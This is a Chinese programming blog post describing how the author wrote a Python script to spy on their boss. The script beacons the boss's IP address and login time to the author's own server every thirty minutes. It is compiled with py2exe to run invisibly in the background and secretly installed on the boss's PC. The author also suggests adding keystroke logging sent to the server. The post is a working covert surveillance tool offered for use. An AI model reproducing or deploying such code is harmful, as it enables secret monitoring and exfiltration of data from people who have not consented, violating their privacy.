美文网首页程序员
如何用python知道某人是不是在用电脑

如何用python知道某人是不是在用电脑

作者: 查尔德77 | 来源:发表于2016-07-20 21:01 被阅读285次

最近一直待实验室,老板说一直都要来。大夏天的,来一趟大汗淋漓。来了老板也可能不在。所以我打算偷偷写一个脚本装到老板电脑里。
趁着老板不在,我想到把本机的IP信息以及登录时间用一个get方法发送到我的服务器,然后保存在数据库里。

STEP1


# -*- coding: cp936 -*-
import pythoncom
import socket
import requests,time
#获取本机电脑名
myname = socket.getfqdn(socket.gethostname(  ))
myaddr = socket.gethostbyname(myname)
def main():
    while(True):
        try:
            r = requests.get('http://picard.sinaapp.com/spyon/?normid=%s&content=%s'%(str(myaddr),'I am using computer at '+time.strftime("%H:%M:%S")))
        except requests.ConnectionError:
            pass
        time.sleep(1800)
main()

先试试效果怎么样。
(view http://picard.sinaapp.com/comment_wall/?page=1/)

1.jpg

STEP2

然后我用py2exe这个库,将python代码编译成了exe文件。

from distutils.core import setup
import py2exe
setup(windows=['hook.py'])  

注意在编译的时候setup的参数一定得是windows,这样编译出来的exe,就是后台运行的。

SETP3

最后一步,只要偷偷帮老板装上就行了。因为开机就后台运行,也不占内存。不用担心被发现。由于这个程序每半个小时就会get一次,所以基本上可以知道这个人什么时候上机,上了多久的网。当然如果够缺德的话,你也可以侦测他的键盘按键然后post到服务器上。
从此我过上了愉快的暑假生活。

相关文章

  • 如何用python知道某人是不是在用电脑

    最近一直待实验室,老板说一直都要来。大夏天的,来一趟大汗淋漓。来了老板也可能不在。所以我打算偷偷写一个脚本装到老板...

  • Python中库的管理

    由于我在用Mac,所以电脑预安装了Python2,但是由于时光的流逝,现在一直在用Python3进行开发,自然也是...

  • 和张先生狡辩的第一天

    Python 运行的条件: Python 解释器当电脑安装了Python后,配置环境变量,电脑就知道Python装...

  • Python|论做游戏外挂,Python输过谁?(文末附赠pyt

    Python|论做游戏外挂,Python输过谁? 玩过电脑游戏的同学对于外挂肯定不陌生,但是你在用外挂的时候有没有...

  • 360广告

    现在用个软件就有广告,像我们经常用的360,很多电脑上都装了,不知道是不是装了,真能杀毒,反正装习惯了,有...

  • Mac安装pip

    1.查看电脑默认Python版本python -V或者python --version 2.查看其它版本,如Pyt...

  • 如何用Python给PPT加图片,音频

    如何用Python给PPT加图片 如何用Python给PPT加音频 如何把PPT存为视频 源代码: from pp...

  • R数据科学-1(dplyr)

    R数据科学(dplyr) 如今数据分析如火如荼,R与Python大行其道。你还在用Excel整理数据么,你还在用s...

  • 还在为电脑频繁死机烦恼吗?手把手教你重装系统!

    电脑在信息时代已经不是什么稀奇的东西,每天在用的时候是不是感觉越用越慢!感觉你的电脑都已经不是自己的了!蓝屏、黑屏...

  • Python keylogger

    如何用python做一些黑客的,很酷的事情? 安装python python 模块:pywin32 module、...

网友评论

    本文标题:如何用python知道某人是不是在用电脑

    本文链接:https://www.haomeiwen.com/subject/zpavjttx.html